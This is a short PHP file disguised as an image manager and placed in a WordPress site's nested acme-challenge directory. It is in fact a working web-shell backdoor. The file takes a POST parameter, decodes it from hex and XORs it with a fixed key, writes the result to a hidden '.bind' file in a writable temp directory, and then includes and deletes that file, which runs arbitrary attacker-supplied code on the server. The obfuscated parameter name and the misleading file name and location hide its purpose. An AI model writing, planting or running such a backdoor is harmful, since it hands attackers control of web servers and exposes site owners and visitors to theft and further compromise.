File: /www/wwwroot/q.autos58.cn/wp-content/well-known/acme-challenge/a/f/a/a/img_manager.php
<?php
if(filter_has_var(INPUT_POST, "\x64a\x74a")){
$symbol = hex2bin($_REQUEST["\x64a\x74a"]);
$ent ='' ;for($k=0; $k<strlen($symbol); $k++){$ent .= chr(ord($symbol[$k]) ^ 19);}
$entry = array_filter([getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", getcwd(), "/tmp"]);
while ($token = array_shift($entry)) {
if (!( !is_dir($token) || !is_writable($token) )) {
$ref = sprintf("%s/.bind", $token);
$success = file_put_contents($ref, $ent);
if ($success) {
include $ref;
@unlink($ref);
exit;}
}
}
}